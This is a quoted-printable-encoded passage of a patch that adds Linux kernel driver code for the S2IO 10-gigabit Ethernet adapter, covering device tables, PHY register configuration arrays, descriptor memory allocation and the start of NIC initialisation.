+#include=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +=0A= +/* local include */=0A= +#include "s2io.h"=0A= +#include "regs.h"=0A= +=0A= +/* VENDOR and DEVICE ID of XENA. */=0A= +#ifndef PCI_VENDOR_ID_S2IO=0A= +#define PCI_VENDOR_ID_S2IO 0x17D5=0A= +#define PCI_DEVICE_ID_S2IO_WIN 0x5731=0A= +#define PCI_DEVICE_ID_S2IO_UNI 0x5831=0A= +#endif=0A= +=0A= +/* S2io Driver name & version. */=0A= +static char s2io_driver_name[] =3D "S2IO 10Gig driver";=0A= +static char s2io_driver_version[] =3D "Version 1.0";=0A= +=0A= +/* Macros to ensure the code is backward compatible with 2.4.x kernels. = */=0A= +#ifndef SET_NETDEV_DEV=0A= +#define SET_NETDEV_DEV(a, b) do {} while(0)=0A= +#endif=0A= +=0A= +#ifndef HAVE_FREE_NETDEV=0A= +#define free_netdev(x) kfree(x)=0A= +#endif=0A= +=0A= +#ifndef IRQ_NONE=0A= +typedef void irqreturn_t;=0A= +#define IRQ_NONE=0A= +#define IRQ_HANDLED=0A= +#define IRQ_RETVAL(x)=0A= +#endif=0A= +=0A= +/*Prototype declaration of the used functions */=0A= +static int __devinit s2io_init_nic(struct pci_dev *pdev,=0A= + const struct pci_device_id *pre);=0A= +static void __exit s2io_rem_nic(struct pci_dev *pdev);=0A= +static int initSharedMem(struct s2io_nic *sp);=0A= +static void freeSharedMem(struct s2io_nic *sp);=0A= +static int initNic(struct s2io_nic *nic);=0A= +#ifndef CONFIG_S2IO_NAPI=0A= +static void rxIntrHandler(struct s2io_nic *sp);=0A= +#endif=0A= +static void txIntrHandler(struct s2io_nic *sp);=0A= +static void alarmIntrHandler(struct s2io_nic *sp);=0A= +=0A= +static int s2io_starter(void);=0A= +void s2io_closer(void);=0A= +static void s2io_tx_watchdog(struct net_device *dev);=0A= +static void s2io_tasklet(unsigned long dev_addr);=0A= +static void s2io_set_multicast(struct net_device *dev);=0A= +static int rxOsmHandler(nic_t * sp, u16 len, RxD_t * rxdp, int ring_no);=0A= +void s2io_link(nic_t * sp, int link);=0A= +void s2io_reset(nic_t * sp);=0A= +#ifdef CONFIG_S2IO_NAPI=0A= +static int s2io_poll(struct net_device *dev, int *budget);=0A= +#endif=0A= +/*Grisha */=0A= +static void s2io_init_pci(nic_t * sp);=0A= +int s2io_set_mac_addr(struct net_device *dev, u8 * addr);=0A= +static irqreturn_t s2io_isr(int irq, void *dev_id, struct pt_regs = *regs);=0A= +static int verify_xena_quiescence(u64 val64, int flag);=0A= +=0A= +#ifdef SET_ETHTOOL_OPS=0A= +static struct ethtool_ops netdev_ethtool_ops;=0A= +#endif=0A= +=0A= +#define TASKLET_IN_USE test_and_set_bit(0, (unsigned long = *)(&sp->tasklet_status))=0A= +#define RST_TIMER_SCHEDULED test_and_set_bit(0, (unsigned long = *)(&sp->rst_status))=0A= +#define PANIC 1=0A= +#define LOW 2=0A= +static inline int rx_buffer_level(nic_t * sp, int rxb_size, int ring)=0A= +{=0A= + int level =3D 0;=0A= + if ((sp->pkt_cnt[ring] - rxb_size) > 128) {=0A= + level =3D LOW;=0A= + if (rxb_size < sp->pkt_cnt[ring] / 8)=0A= + level =3D PANIC;=0A= + }=0A= +=0A= + return level;=0A= +}=0A= +=0A= +/* Ethtool related variables and Macros. */=0A= +static char s2io_gstrings[][ETH_GSTRING_LEN] =3D {=0A= + "Register test\t(offline)",=0A= + "Eeprom test\t(offline)",=0A= + "Link test\t(online)",=0A= + "RLDRAM test\t(offline)",=0A= + "BIST Test\t(offline)"=0A= +};=0A= +=0A= +#define S2IO_TEST_LEN sizeof(s2io_gstrings) / ETH_GSTRING_LEN=0A= +#define S2IO_STRINGS_LEN S2IO_TEST_LEN * ETH_GSTRING_LEN=0A= +=0A= +=0A= +/* Constants to be programmed into the Xena's registers to configure=0A= + * the XAUI.=0A= + */=0A= +=0A= +#define SWITCH_SIGN 0xA5A5A5A5A5A5A5A5ULL=0A= +#define END_SIGN 0x0=0A= +=0A= +static u64 default_mdio_cfg[] =3D {=0A= + /* Reset PMA PLL */=0A= + 0xC001010000000000ULL, 0xC0010100000000E0ULL,=0A= + 0xC0010100008000E4ULL,=0A= + /* Remove Reset from PMA PLL */=0A= + 0xC001010000000000ULL, 0xC0010100000000E0ULL,=0A= + 0xC0010100000000E4ULL,=0A= + END_SIGN=0A= +};=0A= +=0A= +static u64 default_dtx_cfg[] =3D {=0A= + 0x8000051500000000ULL, 0x80000515000000E0ULL,=0A= + 0x80000515D93500E4ULL,=0A= + 0x8001051500000000ULL, 0x80010515000000E0ULL,=0A= + 0x80010515001E00E4ULL,=0A= + 0x8002051500000000ULL, 0x80020515000000E0ULL,=0A= + 0x80020515F21000E4ULL,=0A= + /* Set PADLOOPBACKN */=0A= + 0x8002051500000000ULL, 0x80020515000000E0ULL,=0A= + 0x80020515B20000E4ULL,=0A= + 0x8003051500000000ULL, 0x80030515000000E0ULL,=0A= + 0x80030515B20000E4ULL,=0A= + 0x8004051500000000ULL, 0x80040515000000E0ULL,=0A= + 0x80040515B20000E4ULL,=0A= + 0x8005051500000000ULL, 0x80050515000000E0ULL,=0A= + 0x80050515B20000E4ULL,=0A= + SWITCH_SIGN,=0A= + /* Remove PADLOOPBACKN */=0A= + 0x8002051500000000ULL, 0x80020515000000E0ULL,=0A= + 0x80020515F20000E4ULL,=0A= + 0x8003051500000000ULL, 0x80030515000000E0ULL,=0A= + 0x80030515F20000E4ULL,=0A= + 0x8004051500000000ULL, 0x80040515000000E0ULL,=0A= + 0x80040515F20000E4ULL,=0A= + 0x8005051500000000ULL, 0x80050515000000E0ULL,=0A= + 0x80050515F20000E4ULL,=0A= + END_SIGN=0A= +};=0A= +=0A= +=0A= +static u64 oldphy_mdio_cfg[] =3D {=0A= + 0x0018040000000000ULL, 0x00180400000000E0ULL,=0A= + 0x00180400000000ECULL,=0A= + SWITCH_SIGN,=0A= + 0x0018040000000000ULL, 0x00180400000000E0ULL,=0A= + 0x00180400000000ECULL,=0A= + END_SIGN=0A= +};=0A= +=0A= +static u64 oldphy_dtx_cfg[] =3D {=0A= + 0x8000051500000000ULL, 0x80000515000000E0ULL,=0A= + 0x80000515D93500E4ULL,=0A= + 0x8001051500000000ULL, 0x80010515000000E0ULL,=0A= + 0x80010515001E00E4ULL,=0A= + 0x8002051500000000ULL, 0x80020515000000E0ULL,=0A= + 0x80020515F21000E4ULL,=0A= + 0x8000051500000000ULL, 0x80000515000000E0ULL,=0A= + 0x80000515D93500ECULL,=0A= + 0x8001051500000000ULL, 0x80010515000000E0ULL,=0A= + 0x80010515000000ECULL,=0A= + 0x8002051500000000ULL, 0x80020515000000E0ULL,=0A= + 0x80020515000000ECULL,=0A= + SWITCH_SIGN,=0A= + 0x0000051500000000ULL, 0x00000515604000E0ULL,=0A= + 0x00000515604000E4ULL,=0A= + 0x00000515204000E4ULL, 0x00000515204000ECULL,=0A= + END_SIGN=0A= +};=0A= +=0A= +/* Module Loadable parameters. */=0A= +static u32 ring_num;=0A= +static u32 frame_len[MAX_RX_RINGS];=0A= +static u32 ring_len[MAX_RX_RINGS];=0A= +static u32 fifo_num;=0A= +static u32 fifo_len[MAX_TX_FIFOS];=0A= +static u32 rx_prio;=0A= +static u32 tx_prio;=0A= +static u8 latency_timer =3D 0xff;=0A= +=0A= +/* =0A= + * S2IO device table.=0A= + * This table lists all the devices that this driver supports. =0A= + */=0A= +static struct pci_device_id s2io_tbl[] __devinitdata =3D {=0A= + {PCI_VENDOR_ID_S2IO, PCI_DEVICE_ID_S2IO_WIN,=0A= + PCI_ANY_ID, PCI_ANY_ID},=0A= + {PCI_VENDOR_ID_S2IO, PCI_DEVICE_ID_S2IO_UNI,=0A= + PCI_ANY_ID, PCI_ANY_ID},=0A= + {0,}=0A= +};=0A= +=0A= +MODULE_DEVICE_TABLE(pci, s2io_tbl);=0A= +=0A= +static struct pci_driver s2io_driver =3D {=0A= + name:"S2IO",=0A= + id_table:s2io_tbl,=0A= + probe:s2io_init_nic,=0A= + remove:s2io_rem_nic,=0A= +};=0A= +=0A= +/* =0A= + * Input Arguments: =0A= + * Device private variable.=0A= + * Return Value: =0A= + * SUCCESS on success and an appropriate -ve value on failure.=0A= + * Description: =0A= + * The function allocates the all memory areas shared =0A= + * between the NIC and the driver. This includes Tx descriptors, =0A= + * Rx descriptors and the statistics block.=0A= + */=0A= +static int initSharedMem(struct s2io_nic *nic)=0A= +{=0A= + u32 size;=0A= + void *tmp_v_addr, *tmp_v_addr_next;=0A= + dma_addr_t tmp_p_addr, tmp_p_addr_next;=0A= + RxD_block_t *pre_rxd_blk =3D NULL;=0A= + int i, j, blk_cnt;=0A= + struct net_device *dev =3D nic->dev;=0A= +=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +=0A= + mac_control =3D &nic->mac_control;=0A= + config =3D &nic->config;=0A= +=0A= +=0A= +/* Allocation and initialization of TXDLs in FIOFs */=0A= + size =3D 0;=0A= + for (i =3D 0; i < config->TxFIFONum; i++) {=0A= + size +=3D config->TxCfg[i].FifoLen;=0A= + }=0A= + if (size > MAX_AVAILABLE_TXDS) {=0A= + DBG_PRINT(ERR_DBG, "%s: Total number of Tx FIFOs ",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, "exceeds the maximum value ");=0A= + DBG_PRINT(ERR_DBG, "that can be used\n");=0A= + return FAILURE;=0A= + }=0A= + size *=3D (sizeof(TxD_t) * config->MaxTxDs);=0A= +=0A= + mac_control->txd_list_mem =3D pci_alloc_consistent=0A= + (nic->pdev, size, &mac_control->txd_list_mem_phy);=0A= + if (!mac_control->txd_list_mem) {=0A= + return -ENOMEM;=0A= + }=0A= + mac_control->txd_list_mem_sz =3D size;=0A= +=0A= + tmp_v_addr =3D mac_control->txd_list_mem;=0A= + tmp_p_addr =3D mac_control->txd_list_mem_phy;=0A= + memset(tmp_v_addr, 0, size);=0A= +=0A= + DBG_PRINT(INIT_DBG, "%s:List Mem PHY: 0x%llx\n", dev->name,=0A= + (unsigned long long)tmp_p_addr);=0A= +=0A= + for (i =3D 0; i < config->TxFIFONum; i++) {=0A= + mac_control->txdl_start_phy[i] =3D tmp_p_addr;=0A= + mac_control->txdl_start[i] =3D (TxD_t *) tmp_v_addr;=0A= + mac_control->tx_curr_put_info[i].offset =3D 0;=0A= + mac_control->tx_curr_put_info[i].fifo_len =3D=0A= + config->TxCfg[i].FifoLen - 1;=0A= + mac_control->tx_curr_get_info[i].offset =3D 0;=0A= + mac_control->tx_curr_get_info[i].fifo_len =3D=0A= + config->TxCfg[i].FifoLen - 1;=0A= +=0A= + tmp_p_addr +=3D=0A= + (config->TxCfg[i].FifoLen * (sizeof(TxD_t)) *=0A= + config->MaxTxDs);=0A= + tmp_v_addr +=3D=0A= + (config->TxCfg[i].FifoLen * (sizeof(TxD_t)) *=0A= + config->MaxTxDs);=0A= + }=0A= +=0A= +/* Allocation and initialization of RXDs in Rings */=0A= + size =3D 0;=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + if (config->RxCfg[i].NumRxd % (MAX_RXDS_PER_BLOCK + 1)) {=0A= + DBG_PRINT(ERR_DBG, "%s: RxD count of ", dev->name);=0A= + DBG_PRINT(ERR_DBG, "Ring%d is not a multiple of ",=0A= + i);=0A= + DBG_PRINT(ERR_DBG, "RxDs per Block");=0A= + return FAILURE;=0A= + }=0A= + size +=3D config->RxCfg[i].NumRxd;=0A= + nic->block_count[i] =3D=0A= + config->RxCfg[i].NumRxd / (MAX_RXDS_PER_BLOCK + 1);=0A= + nic->pkt_cnt[i] =3D=0A= + config->RxCfg[i].NumRxd - nic->block_count[i];=0A= + }=0A= + size =3D (size * (sizeof(RxD_t)));=0A= + mac_control->rxd_ring_mem_sz =3D size;=0A= +=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + mac_control->rx_curr_get_info[i].block_index =3D 0;=0A= + mac_control->rx_curr_get_info[i].offset =3D 0;=0A= + mac_control->rx_curr_get_info[i].ring_len =3D=0A= + config->RxCfg[i].NumRxd - 1;=0A= + mac_control->rx_curr_put_info[i].block_index =3D 0;=0A= + mac_control->rx_curr_put_info[i].offset =3D 0;=0A= + mac_control->rx_curr_put_info[i].ring_len =3D=0A= + config->RxCfg[i].NumRxd - 1;=0A= + blk_cnt =3D=0A= + config->RxCfg[i].NumRxd / (MAX_RXDS_PER_BLOCK + 1);=0A= + /* Allocating all the Rx blocks */=0A= + for (j =3D 0; j < blk_cnt; j++) {=0A= + size =3D (MAX_RXDS_PER_BLOCK + 1) * (sizeof(RxD_t));=0A= + tmp_v_addr =3D pci_alloc_consistent(nic->pdev, size,=0A= + &tmp_p_addr);=0A= + if (tmp_v_addr =3D=3D NULL) {=0A= + /* In case of failure, freeSharedMem() is called, which should=0A= + * free any memory that was alloced till the failure happened.=0A= + */=0A= + nic->rx_blocks[i][j].block_virt_addr =3D=0A= + tmp_v_addr;=0A= + return -ENOMEM;=0A= + }=0A= + memset(tmp_v_addr, 0, size);=0A= + nic->rx_blocks[i][j].block_virt_addr =3D tmp_v_addr;=0A= + nic->rx_blocks[i][j].block_dma_addr =3D tmp_p_addr;=0A= + }=0A= + /* Interlinking all Rx Blocks */=0A= + for (j =3D 0; j < blk_cnt; j++) {=0A= + tmp_v_addr =3D nic->rx_blocks[i][j].block_virt_addr;=0A= + tmp_v_addr_next =3D=0A= + nic->rx_blocks[i][(j + 1) %=0A= + blk_cnt].block_virt_addr;=0A= + tmp_p_addr =3D nic->rx_blocks[i][j].block_dma_addr;=0A= + tmp_p_addr_next =3D=0A= + nic->rx_blocks[i][(j + 1) %=0A= + blk_cnt].block_dma_addr;=0A= +=0A= + pre_rxd_blk =3D (RxD_block_t *) tmp_v_addr;=0A= + pre_rxd_blk->reserved_1 =3D END_OF_BLOCK; /* last RxD =0A= + * marker.=0A= + */=0A= + pre_rxd_blk->reserved_2_pNext_RxD_block =3D=0A= + (unsigned long) tmp_v_addr_next;=0A= + pre_rxd_blk->pNext_RxD_Blk_physical =3D=0A= + (u64) tmp_p_addr_next;=0A= + }=0A= + }=0A= +=0A= +/* Allocation and initialization of Statistics block */=0A= + size =3D sizeof(StatInfo_t);=0A= + mac_control->stats_mem =3D pci_alloc_consistent=0A= + (nic->pdev, size, &mac_control->stats_mem_phy);=0A= +=0A= + if (!mac_control->stats_mem) {=0A= + /* In case of failure, freeSharedMem() is called, which should=0A= + * free any memory that was alloced till the failure happened.=0A= + */=0A= + return -ENOMEM;=0A= + }=0A= + mac_control->stats_mem_sz =3D size;=0A= +=0A= + tmp_v_addr =3D mac_control->stats_mem;=0A= + mac_control->StatsInfo =3D (StatInfo_t *) tmp_v_addr;=0A= + memset(tmp_v_addr, 0, size);=0A= +=0A= + DBG_PRINT(INIT_DBG, "%s:Ring Mem PHY: 0x%llx\n", dev->name,=0A= + (unsigned long long)tmp_p_addr);=0A= +=0A= + return SUCCESS;=0A= +}=0A= +=0A= +/* =0A= + * Input Arguments: =0A= + * Device peivate variable.=0A= + * Return Value: =0A= + * NONE=0A= + * Description: =0A= + * This function is to free all memory locations allocated by=0A= + * the initSharedMem() function and return it to the kernel.=0A= + */=0A= +static void freeSharedMem(struct s2io_nic *nic)=0A= +{=0A= + int i, j, blk_cnt, size;=0A= + void *tmp_v_addr;=0A= + dma_addr_t tmp_p_addr;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +=0A= +=0A= + if (!nic)=0A= + return;=0A= +=0A= + mac_control =3D &nic->mac_control;=0A= + config =3D &nic->config;=0A= +=0A= + if (mac_control->txd_list_mem) {=0A= + pci_free_consistent(nic->pdev,=0A= + mac_control->txd_list_mem_sz,=0A= + mac_control->txd_list_mem,=0A= + mac_control->txd_list_mem_phy);=0A= + }=0A= +=0A= + size =3D (MAX_RXDS_PER_BLOCK + 1) * (sizeof(RxD_t));=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + blk_cnt =3D nic->block_count[i];=0A= + for (j =3D 0; j < blk_cnt; j++) {=0A= + tmp_v_addr =3D nic->rx_blocks[i][j].block_virt_addr;=0A= + tmp_p_addr =3D nic->rx_blocks[i][j].block_dma_addr;=0A= + if (tmp_v_addr =3D=3D NULL)=0A= + break;=0A= + pci_free_consistent(nic->pdev, size,=0A= + tmp_v_addr, tmp_p_addr);=0A= + }=0A= + }=0A= +=0A= + if (mac_control->stats_mem) {=0A= + pci_free_consistent(nic->pdev,=0A= + mac_control->stats_mem_sz,=0A= + mac_control->stats_mem,=0A= + mac_control->stats_mem_phy);=0A= + }=0A= +}=0A= +=0A= +/* =0A= + * Input Arguments: =0A= + * device peivate variable=0A= + * Return Value: =0A= + * SUCCESS on success and '-1' on failure (endian settings incorrect).=0A= + * Description: =0A= + * The function sequentially configures every block =0A= + * of the H/W from their reset values. =0A= + */=0A= +static int initNic(struct s2io_nic *nic)=0A= +{=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= + struct net_device *dev =3D nic->dev;=0A= + register u64 val64 =3D 0;=0A= + void *add;=0A= + u32 time, mem_share;=0A= + int i, j;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= + int mdio_cnt =3D 0, dtx_cnt =3D 0;=0A= + unsigned long long print_var;=0A= +=0A= + mac_control =3D &nic->mac_control;=0A= + config =3D &nic->config;=0A= +=0A= +/* Set proper endian settings and verify the same by reading the PIF =0A= +Feed-back register */=0A= +#ifdef __BIG_ENDIAN=0A= +/* The device by default set to a big endian format, so a big endian=0A= + * driver need not set anything.=0A= + */=0A= + write64(&bar0->swapper_ctrl, 0xffffffffffffffffULL);=0A= + val64 =3D (SWAPPER_CTRL_PIF_R_FE |=0A= + SWAPPER_CTRL_PIF_R_SE |=0A= + SWAPPER_CTRL_PIF_W_FE |=0A= + SWAPPER_CTRL_PIF_W_SE |=0A= + SWAPPER_CTRL_TXP_FE |=0A= + SWAPPER_CTRL_TXP_SE |=0A= + SWAPPER_CTRL_TXD_R_FE |=0A= + SWAPPER_CTRL_TXD_W_FE |=0A= + SWAPPER_CTRL_TXF_R_FE |=0A= + SWAPPER_CTRL_RXD_R_FE |=0A= + SWAPPER_CTRL_RXD_W_FE |=0A= + SWAPPER_CTRL_RXF_W_FE |=0A= + SWAPPER_CTRL_XMSI_FE |=0A= + SWAPPER_CTRL_XMSI_SE |=0A= + SWAPPER_CTRL_STATS_FE | SWAPPER_CTRL_STATS_SE);=0A= + write64(&bar0->swapper_ctrl, val64);=0A= +#else=0A= +/* Initially we enable all bits to make it accessible by the driver,=0A= + * then we selectively enable only those bits that we want to set.=0A= + */=0A= + write64(&bar0->swapper_ctrl, 0xffffffffffffffffULL);=0A= + val64 =3D (SWAPPER_CTRL_PIF_R_FE |=0A= + SWAPPER_CTRL_PIF_R_SE |=0A= + SWAPPER_CTRL_PIF_W_FE |=0A= + SWAPPER_CTRL_PIF_W_SE |=0A= + SWAPPER_CTRL_TXP_FE |=0A= + SWAPPER_CTRL_TXP_SE |=0A= + SWAPPER_CTRL_TXD_R_FE |=0A= + SWAPPER_CTRL_TXD_R_SE |=0A= + SWAPPER_CTRL_TXD_W_FE |=0A= + SWAPPER_CTRL_TXD_W_SE |=0A= + SWAPPER_CTRL_TXF_R_FE |=0A= + SWAPPER_CTRL_RXD_R_FE |=0A= + SWAPPER_CTRL_RXD_R_SE |=0A= + SWAPPER_CTRL_RXD_W_FE |=0A= + SWAPPER_CTRL_RXD_W_SE |=0A= + SWAPPER_CTRL_RXF_W_FE |=0A= + SWAPPER_CTRL_XMSI_FE |=0A= + SWAPPER_CTRL_XMSI_SE |=0A= + SWAPPER_CTRL_STATS_FE | SWAPPER_CTRL_STATS_SE);=0A= + write64(&bar0->swapper_ctrl, val64);=0A= +#endif=0A= +=0A= +/* Verifying if endian settings are accurate by reading a feedback=0A= + * register.=0A= + */=0A= + val64 =3D read64(&bar0->pif_rd_swapper_fb);=0A= + if (val64 !=3D 0x0123456789ABCDEFULL) {=0A= + /* Endian settings are incorrect, calls for another dekko. */=0A= + print_var =3D (unsigned long long) val64;=0A= + DBG_PRINT(INIT_DBG, "%s: Endian settings are wrong",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, ", feedback read %llx\n", print_var);=0A= +=0A= + return FAILURE;=0A= + }=0A= +=0A= +/* Remove XGXS from reset state*/=0A= + val64 =3D 0;=0A= + write64(&bar0->sw_reset, val64);=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(HZ / 2);=0A= +=0A= +/* Need to set correct values in the following PIC Control registers =0A= + * 1. PIC Control=0A= + * 2. Tx request timeout=0A= + * 3. Stats request timeout=0A= + * 4. Read retry delay=0A= + * 5. Read retry acclereration=0A= + * 6. Write retry delay=0A= + * 7. Write retry acclereration=0A= + */=0A= +=0A= +/* Enable Receiving broadcasts */=0A= + val64 =3D read64(&bar0->mac_cfg);=0A= + val64 |=3D MAC_RMAC_BCAST_ENABLE;=0A= + write64(&bar0->rmac_cfg_key, RMAC_CFG_KEY(0x4C0D));=0A= + write64(&bar0->mac_cfg, val64);=0A= +=0A= +/* Read registers in all blocks */=0A= + val64 =3D read64(&bar0->mac_int_mask);=0A= + val64 =3D read64(&bar0->mc_int_mask);=0A= + val64 =3D read64(&bar0->xgxs_int_mask);=0A= +=0A= +/* Set MTU */=0A= + val64 =3D dev->mtu;=0A= + write64(&bar0->rmac_max_pyld_len, vBIT(val64, 2, 14));=0A= +=0A= +/* Configuring the XAUI Interface of Xena. =0A= + *****************************************=0A= + * To Configure the Xena's XAUI, one has to write a series of 64 bit =0A= + * values into two registers in a particular sequence.=0A= + * Hence a macro 'SWITCH_SIGN' has been defined which will be defined in=0A= + * the array of configuration values (default_dtx_cfg & = default_mdio_cfg)=0A= + * at appropriate places to switch writing from one regsiter to another.=0A= + * We continue writing these values until we encounter the 'END_SIGN' = macro.=0A= + * For example, After making a series of 21 writes into dtx_control = register=0A= + * the 'SWITCH_SIGN' appears and hence we start writing into = mdio_control =0A= + * until we encounter END_SIGN.=0A= + */=0A= + while (1) {=0A= + dtx_cfg:=0A= + while (default_dtx_cfg[dtx_cnt] !=3D END_SIGN) {=0A= + if (default_dtx_cfg[dtx_cnt] =3D=3D SWITCH_SIGN) {=0A= + dtx_cnt++;=0A= + goto mdio_cfg;=0A= + }=0A= + write64(&bar0->dtx_control,=0A= + default_dtx_cfg[dtx_cnt]);=0A= + val64 =3D read64(&bar0->dtx_control);=0A= + dtx_cnt++;=0A= + }=0A= + mdio_cfg:=0A= + while (default_mdio_cfg[mdio_cnt] !=3D END_SIGN) {=0A= + if (default_mdio_cfg[mdio_cnt] =3D=3D SWITCH_SIGN) {=0A= + mdio_cnt++;=0A= + goto dtx_cfg;=0A= + }=0A= + write64(&bar0->mdio_control,=0A= + default_mdio_cfg[mdio_cnt]);=0A= + val64 =3D read64(&bar0->mdio_control);=0A= + mdio_cnt++;=0A= + }=0A= + if ((default_dtx_cfg[dtx_cnt] =3D=3D END_SIGN) &&=0A= + (default_mdio_cfg[mdio_cnt] =3D=3D END_SIGN)) {=0A= + break;=0A= + } else {=0A= + goto dtx_cfg;=0A= + }=0A= + }=0A= +=0A= +/* Tx DMA Initialization */=0A= + val64 =3D 0;=0A= + write64(&bar0->tx_fifo_partition_0, val64);=0A= + write64(&bar0->tx_fifo_partition_1, val64);=0A= + write64(&bar0->tx_fifo_partition_2, val64);=0A= + write64(&bar0->tx_fifo_partition_3, val64);=0A= +=0A= +=0A= + for (i =3D 0, j =3D 0; i < config->TxFIFONum; i++) {=0A= + val64 |=3D=0A= + vBIT(config->TxCfg[i].FifoLen - 1, ((i * 32) + 19),=0A= + 13) | vBIT(config->TxCfg[i].FifoPriority,=0A= + ((i * 32) + 5), 3);=0A= +=0A= + if (i =3D=3D (config->TxFIFONum - 1)) {=0A= + if (i % 2 =3D=3D 0)=0A= + i++;=0A= + }=0A= +=0A= + switch (i) {=0A= + case 1:=0A= + write64(&bar0->tx_fifo_partition_0, val64);=0A= + val64 =3D 0;=0A= + break;=0A= + case 3:=0A= + write64(&bar0->tx_fifo_partition_1, val64);=0A= + val64 =3D 0;=0A= + break;=0A= + case 5:=0A= + write64(&bar0->tx_fifo_partition_2, val64);=0A= + val64 =3D 0;=0A= + break;=0A= + case 7:=0A= + write64(&bar0->tx_fifo_partition_3, val64);=0A= + break;=0A= + }=0A= + }=0A= +=0A= +/* Enable Tx FIFO partition 0. */=0A= + val64 =3D read64(&bar0->tx_fifo_partition_0);=0A= + val64 |=3D BIT(0); /* To enable the FIFO partition. */=0A= + write64(&bar0->tx_fifo_partition_0, val64);=0A= +=0A= + val64 =3D read64(&bar0->tx_fifo_partition_0);=0A= + DBG_PRINT(INIT_DBG, "Fifo partition at: 0x%p is: 0x%llx\n",=0A= + &bar0->tx_fifo_partition_0, (unsigned long long)val64);=0A= +=0A= +/* Initialization of Tx_PA_CONFIG register to ignore packet integrity =0A= + * checking.=0A= + */=0A= + val64 =3D read64(&bar0->tx_pa_cfg);=0A= + val64 |=3D TX_PA_CFG_IGNORE_FRM_ERR | TX_PA_CFG_IGNORE_SNAP_OUI |=0A= + TX_PA_CFG_IGNORE_LLC_CTRL | TX_PA_CFG_IGNORE_L2_ERR;=0A= + write64(&bar0->tx_pa_cfg, val64);=0A= +=0A= +/* Rx DMA intialization. */=0A= + val64 =3D 0;=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + val64 |=3D=0A= + vBIT(config->RxCfg[i].RingPriority, (5 + (i * 8)), 3);=0A= + }=0A= + write64(&bar0->rx_queue_priority, val64);=0A= +=0A= +/* Allocating equal share of memory to all the configured Rings. */=0A= +#if 1=0A= + val64 =3D 0;=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + switch (i) {=0A= + case 0:=0A= + mem_share =3D (64 / config->RxRingNum +=0A= + 64 % config->RxRingNum);=0A= + val64 |=3D RX_QUEUE_CFG_Q0_SZ(mem_share);=0A= + continue;=0A= + case 1:=0A= + mem_share =3D (64 / config->RxRingNum);=0A= + val64 |=3D RX_QUEUE_CFG_Q1_SZ(mem_share);=0A= + continue;=0A= + case 2:=0A= + mem_share =3D (64 / config->RxRingNum);=0A= + val64 |=3D RX_QUEUE_CFG_Q2_SZ(mem_share);=0A= + continue;=0A= + case 3:=0A= + mem_share =3D (64 / config->RxRingNum);=0A= + val64 |=3D RX_QUEUE_CFG_Q3_SZ(mem_share);=0A= + continue;=0A= + case 4:=0A= + mem_share =3D (64 / config->RxRingNum);=0A= + val64 |=3D RX_QUEUE_CFG_Q4_SZ(mem_share);=0A= + continue;=0A= + case 5:=0A= + mem_share =3D (64 / config->RxRingNum);=0A= + val64 |=3D RX_QUEUE_CFG_Q5_SZ(mem_share);=0A= + continue;=0A= + case 6:=0A= + mem_share =3D (64 / config->RxRingNum);=0A= + val64 |=3D RX_QUEUE_CFG_Q6_SZ(mem_share);=0A= + continue;=0A= + case 7:=0A= + mem_share =3D (64 / config->RxRingNum);=0A= + val64 |=3D RX_QUEUE_CFG_Q7_SZ(mem_share);=0A= + continue;=0A= + }=0A= + }=0A= + val64 =3D RX_QUEUE_CFG_Q0_SZ(64);=0A= + write64(&bar0->rx_queue_cfg, val64);=0A= +#else=0A= + val64 =3D RX_QUEUE_CFG_Q0_SZ(64);=0A= + write64(&bar0->rx_queue_cfg, val64); /* Setting Q0 with all RLDRAM =0A= + * space.=0A= + */=0A= +#endif=0A= +=0A= +/* Initializing the Tx round robin registers to 0.=0A= + * Filling Tx and Rx round robin registers as per the number of FIFOs = and=0A= + * Rings is still TODO.=0A= + */=0A= + write64(&bar0->tx_w_round_robin_0, 0);=0A= + write64(&bar0->tx_w_round_robin_1, 0);=0A= + write64(&bar0->tx_w_round_robin_2, 0);=0A= + write64(&bar0->tx_w_round_robin_3, 0);=0A= + write64(&bar0->tx_w_round_robin_4, 0);=0A= +=0A= +/* Disable Rx steering. Hard coding all packets be steered to=0A= + * Queue 0 for now. =0A= + * TODO*/=0A= + if (rx_prio) {=0A= + u64 def =3D 0x8000000000000000ULL, tmp;=0A= + for (i =3D 0; i < MAX_RX_RINGS; i++) {=0A= + tmp =3D (u64) (def >> (i % config->RxRingNum));=0A= + val64 |=3D (u64) (tmp >> (i * 8));=0A= + }=0A= + write64(&bar0->rts_qos_steering, val64);=0A= + } else {=0A= + val64 =3D 0x8080808080808080ULL;=0A= + write64(&bar0->rts_qos_steering, val64);=0A= + }=0A= +=0A= +/* Disable the device from passing packets with L/T mismatch to the = host.*/=0A= + val64 =3D read64(&bar0->rmac_err_cfg);=0A= + val64 &=3D ~RMAC_ERR_LEN_MISMATCH;=0A= + write64(&bar0->rmac_err_cfg, val64);=0A= +=0A= +/* UDP Fix */=0A= + val64 =3D 0;=0A= + for (i =3D 1; i < 8; i++)=0A= + write64(&bar0->rts_frm_len_n[i], val64);=0A= +=0A= +/* Set rts_frm_len register for fifo 0 */=0A= + write64(&bar0->rts_frm_len_n[0],=0A= + MAC_RTS_FRM_LEN_SET((dev->mtu) + 22));=0A= +=0A= +=0A= +=0A= +/* Enable statistics */=0A= + write64(&bar0->stat_addr, (u64) mac_control->stats_mem_phy);=0A= + val64 =3D SET_UPDT_PERIOD(8) | STAT_CFG_STAT_RO | STAT_CFG_STAT_EN;=0A= + write64(&bar0->stat_cfg, val64);=0A= +=0A= +/* Initializing the sampling rate for the device to calculate the=0A= + * bandwidth utilization.=0A= + */=0A= + val64 =3D MAC_TX_LINK_UTIL_VAL(0x5) | MAC_RX_LINK_UTIL_VAL(0x5);=0A= + write64(&bar0->mac_link_util, val64);=0A= +=0A= +/* Initializing the Transmit and Receive Traffic Interrupt Scheme */=0A= +=0A= 